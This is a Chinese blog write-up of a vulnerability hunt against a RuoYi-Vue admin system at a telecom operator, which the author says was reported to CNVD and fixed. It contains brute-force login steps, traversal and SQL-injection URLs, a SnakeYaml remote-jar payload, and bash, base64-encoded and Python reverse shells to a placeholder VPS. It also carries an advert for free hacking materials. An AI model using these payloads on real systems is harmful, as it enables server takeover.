記錄一次cnvd事件型證書漏洞挖掘

蚁景网安实验室發表於2024-05-28

事件起因是因為要搞畢設了,在為這個苦惱,突然負責畢設的老師說得到cnvd下發的證書結合你的漏洞挖掘的過程是可以當成畢設的,當時又學習了一段時間的web滲透方面的知識,於是踏上了廢寢忘食的cnvd證書漏洞挖掘的日子。

前言:聽群友們說,一般可以獲得cnvd事件型的證書要三大運營商、鐵塔的漏洞,而且必須要高危的漏洞才可以獲得證書,低危和中危都沒有證書,交上去只能得到cnvd的漏洞編號,於是就朝著三大運營商、鐵塔的高危漏洞去挖掘。

一、資訊收集

資訊收集的目的是瞭解目標的基本情況,包括網路拓撲結構、系統架構、執行的服務和應用程式、已知漏洞、潛在安全風險等。透過資訊收集,滲透測試人員可以獲得對目標的深入瞭解,從而確定可能的攻擊向量和漏洞利用路徑,為後續的滲透測試工作做準備。

1、我一般先用奇安信的鷹圖平臺,使用裡面搜尋引擎的特定的語法搜尋我要找的單位名或者關鍵字,精準定位。

鷹圖平臺:https://hunter.qianxin.com/

經過一段時間的換各種關鍵字的搜尋,終於發現了一個看著系統介面比較眼熟的介面,原諒我的厚碼。。。

image-20240410182714563

看著大機率是若依框架。

image-20240410193209229

確定為vue前後端分離的若依管理系統。

image-20240410191843884

二、歷史漏洞分析

確定了這個系統是基於SpringBoot,Spring Security,JWT,Vue & Element 的前後端分離許可權管理系統。

這是我第一次挖掘關於若依vue框架的系統,以前遇到的都是基於SpringBoot的許可權管理系統,核心技術採用Spring、MyBatis、Shiro。

讓我們先來看看若依的歷史漏洞和解析:若依框架是一個 Java EE 企業級快速開發平臺,基於經典技術組合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),內建模組如:部門管理、角色使用者、選單及按鈕授權、資料許可權、系統引數、日誌管理、通知公告等。線上定時任務配置;支援叢集,支援多資料來源,支援分散式事務。若依框架漏洞預設口令漏洞早期若依框架漏洞版本有反序列化漏洞 ,執行任意命令。

若依後臺管理系統是基於SpringBoot、Spring Security、JWT、Vue & Element 的前後端分離許可權管理系統,可用於包含網站管理後臺、網站會員中心、CMS、CRM、OA等、的Web應用程式。若依後臺管理系統存在未授權訪問和檔案上傳高危漏洞,攻擊者可利用該漏洞獲取伺服器控制權。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

比較常見的歷史漏洞:

1、前端儲存賬號密碼或預設弱口令admin/admin123

2、Druid頁面未授權訪問

http://xxx//prod-api/druid/index.html

http://xxx//dev-api/druid/index.html

http://xxx//api/druid/index.html

http://xxx//admin/druid/index.html

http://xxx//admin-api/druid/index.html

3、後臺任意檔案讀取http://xxx/common/download/resource?resource/profile/…/…/…/…/etc/passwd

4、後臺SQL隱碼攻擊漏洞位置在"系統管理"裡中的"角色管理中"http://xxxxxxx/system/role/listhttp://xxxxxxx/system/dept/edithttp://xxxxxxx/system/role/exporthttp://xxxxxxx/tool/gen/createTable

5、shiro反序列化

若依管理系統使用了Apache Shiro,Shiro 提供了記住我(RememberMe)的功能,下次訪問時無需再登入即可訪問。系統將金鑰硬編碼在程式碼裡,且在官方文件中並沒有強調修改該金鑰,導致框架使用者大多數都使用了預設金鑰。

攻擊者可以構造一個惡意的物件,並且對其序列化、AES加密、base64編碼後,作為cookie的rememberMe欄位傳送。Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞,進而在目標機器上執行任意命令。

眾所周知的,網上大把工具擼就完事了https://github.com/SummerSec/ShiroAttack2

6、SnakeYaml元件漏洞-定時任務-RCE

定時任務對於傳入的"呼叫目標字串"沒有任何校驗,導致攻擊者可以呼叫任意類、方法及引數觸發反射執行命令。

RuoYi 觸發 SnakeYaml 反序列化漏洞的漏洞點。漏洞點在後臺 系統監控 > 定時任務 處,可以呼叫類的方法

系統會呼叫 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法來處理系統任務

首先會獲取需要執行的目標,即我們的 payload,再獲取例項名和方法名以及方法引數

然後判斷例項名是否是 帶完全包名稱的類名,如果不是的話,則呼叫 SpringUtils.getBean(beanName) 獲得例項;如果是的話,則使用 Class.forName(beanName).newInstance() 獲得例項

最後呼叫 invokeMethod(SysJob sysJob) 方法實現方法的呼叫

public static void invokeMethod(SysJob sysJob) throws Exception  
    {  
        String invokeTarget \= sysJob.getInvokeTarget();  
        String beanName \= getBeanName(invokeTarget);      
        String methodName \= getMethodName(invokeTarget);  
        List<Object\[\]> methodParams \= getMethodParams(invokeTarget);  
​
        if (!isValidClassName(beanName))  
        {  
            Object bean \= SpringUtils.getBean(beanName);  
            invokeMethod(bean, methodName, methodParams);  
        }  
        else  
        {  
            Object bean \= Class.forName(beanName).newInstance();  
            invokeMethod(bean, methodName, methodParams);  
        }  
    }  

image-20240411021711415

跟進 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到這裡透過 getDeclaredMethod 獲得了類的方法,然後透過反射執行方法。

image-20240410235532321

當我們傳入的類名為完全包名稱,需要滿足三個條件才能正常使用

  • 具有無參構造方法

  • 呼叫的方法需要是類自身宣告的方法,不能是他的父類方法

  • 構造方法和呼叫的方法均為 public

org.yaml.snakeyaml.Yaml 是符合這些條件的,我們可以利用這個點去觸發 SnakeYaml 反序列化漏洞。

三、正戲開始

要獲得證書就得要挖掘到高危的漏洞,若依vue框架是沒有shiro反序列化的,所以得進入後臺去挖掘定時任務的RCE。

1、回到之前的找到若依的登入框,上來肯定是試一試預設的弱口令admin123。不出意外密碼錯誤了

image-20240411004834079

2、測試了一下,沒有密碼輸入錯誤次數上限,就是輸入錯多少次都可以,也沒有驗證碼驗證登入,不用多說了,爆破啟動!!!

抱著試一試的態度,沒想到真滴爆出來了

image-20240411005545552

image-20240411005313890

畢竟是第一次打若依vue框架的,我就把上面提到的漏洞都測試了一遍,沒一個成功的(除了定時任務-RCE的漏洞沒測試)。。。。。

3、我先去網上瀏覽一陣子的若依後臺定時任務呼叫類的方法RCE的文章,開搞!!!

首先先去Github上面找到大佬寫好的專案生成惡意jar包:https://github.com/artsploit/yaml-payload先修改專案原始碼檔案 src/artsploit/AwesomeScriptEngineFactory.java 執行Linux反彈shell命令

修改AwesomeScriptEngineFactory.java格式:

Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/vps監聽埠 0>&1"});

image-20240411010753502

在yaml-payload-master資料夾目錄下編譯AwesomeScriptEngineFactory.java檔案

javac .\src\artsploit\AwesomeScriptEngineFactory.java

image-20240411013118170

得到編譯好的AwesomeScriptEngineFactory.class檔案

image-20240411013245721

把src目錄打包成yaml-payload.jar檔案

jar -cvf yaml-payload.jar -C .\src\ .

image-20240411013415458

image-20240411013519862

把打包好的yaml-payload.jar上傳到vps上面,使用python命令開啟臨時的http網站:`python -m SimpleHTTPServer 8880

image-20240411015345527

測試訪問vps開啟的網站

image-20240411014255528

在vps上面使用nc監聽設定的埠,反彈shell

image-20240411014341774

回到若依系統後臺,使用爆破出來的賬號密碼登入,進入系統監控-->定時任務-->新增,新增計劃任務。

image-20240411014611519

呼叫方法也沒有什麼限制,可以直接使用http。任務名隨便寫,呼叫方法:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager \[ !!java.net.URLClassLoader \[\[ !!java.net.URL \["http://httpIP/yaml-payload.jar"\] \]\] \]')

cron表示式:0/10 \* \* \* \* ?

點選確定

image-20240411014912158

在多執行幾次剛剛設定好的定時任務

image-20240411015055662

在我滿心歡喜的以為成功的時候,現實卻給我當頭一棒,nc監聽一直沒有動靜,啊啊啊啊啊啊啊啊啊。。。。。又去多執行了幾次也沒有反彈到shell

image-20240411015148329

去看剛剛vps使用python開啟的http,沒有訪問響應gg。

image-20240411015225815

想了想會不會是命令被系統攔截了或者是AwesomeScriptEngineFactory.java檔案裡面的命令錯誤執行不了。於是又去換了一種方式的反彈shell命令

重新修改AwesomeScriptEngineFactory.java格式:使用base64編碼這個命令:bash -i >& /dev/tcp/vpsIP/vps監聽埠 0>&1base64編碼後的命令:YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==AwesomeScriptEngineFactory.java格式:Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==}|{base64,-d}|{bash,-i}");

image-20240411005906415

再按照上面的方法編譯一遍,然後再打包成jar檔案,再次上傳到vps裡面,把之前的刪掉。

返回到若依管理系統,再次執行幾次定時任務,不用更改。。。讓命令飄一會。

pleasantly surprised。。。。gg了。

image-20240411015743020

四、柳暗花明

我以為要下播的時候,去上了個廁所。。。。回來突然有靈感想到可不可以使用python命令來執行反彈shell命令呢,現在的伺服器linux伺服器基本都是自帶python的,說幹就幹。

繼續修改AwesomeScriptEngineFactory.java檔案使用python的特性構造payload,修改的格式:Runtime.getRuntime().exec(new String\[\]{"python","-c","import os,socket,subprocess;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(('vpsIP',vps監聽埠));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\['/bin/bash','-i'\]);"});

如下圖:

image-20240411015930186

繼續執行之前的步驟,按照上面的方法編譯一遍,然後再打包成jar檔案,再次上傳到vps裡面,把之前的刪掉。

回到若依管理系統繼續執行我們寫入的定時任務。

結果蕪湖!!!成功成功。

image-20240411020102737

咱也不知道為什麼。沒攔截python?

最後也是透過了cnvd的事件型高危

image-20240411022255587

漏洞已上報廠家,廠家已修復。

修復建議:升級Ruoyi至最新版本。

更多網安技能的線上實操練習,請點選這裡>>

相關文章